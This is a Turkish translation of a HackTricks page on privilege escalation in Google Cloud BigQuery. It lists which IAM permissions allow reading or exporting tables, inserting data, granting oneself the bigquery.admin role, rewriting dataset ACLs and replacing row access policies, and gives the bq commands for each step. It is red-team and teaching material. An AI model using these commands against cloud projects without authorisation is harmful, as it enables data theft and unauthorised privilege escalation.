GCP - BigQuery Privesc

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

BigQuery

BigQuery hakkında daha fazla bilgi için:

GCP - Bigquery Enum

Tabloyu Okuma

Bir BigQuery tablosu içinde depolanan bilgilere erişerek hassas bilgiler bulmak mümkün olabilir. Bilgilere erişmek için gereken izinler bigquery.tables.get, bigquery.jobs.create ve bigquery.tables.getData'dır:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Veri dışa aktar

Bu, veriye erişmenin başka bir yoludur. Veriyi bir bulut depolama kovasına dışa aktarın ve bilgi içeren dosyaları indirin. Bu işlemi gerçekleştirmek için aşağıdaki izinlere ihtiyaç vardır: bigquery.tables.export, bigquery.jobs.create ve storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Veri ekleme

Bir Bigquery tablosuna güvenilir verileri başka bir yerdeki bir zafiyeti kötüye kullanmak için eklemek mümkün olabilir. Bunun için bigquery.tables.get, bigquery.tables.updateData ve bigquery.jobs.create izinleri kullanılarak kolayca yapılabilir:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Bir saldırgan, bu yetkiyi kullanarak bir BigQuery veri kümesi üzerinde kendisine daha fazla izin verebilir:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Sadece bu izin, bir BigQuery veri kümesine erişimi güncellemek için ACL'leri değiştirerek erişime kimin sahip olduğunu belirten yetkilendirmeleri değiştirmenizi sağlar:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Bir saldırgan, bu yetkiyi kullanarak bir BigQuery tablosu üzerinde kendisine daha fazla izin verebilir:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Belgelere göre, bahsedilen izinlerle bir satır politikasını güncellemek mümkündür. Ancak, bq komut satırı aracını kullanarak daha fazlasına ihtiyacınız var: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Satır politikalarının sıralaması çıktısında filtre kimliğini bulmak mümkündür. Örnek:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'ı desteklemenin diğer yolları:

Last updated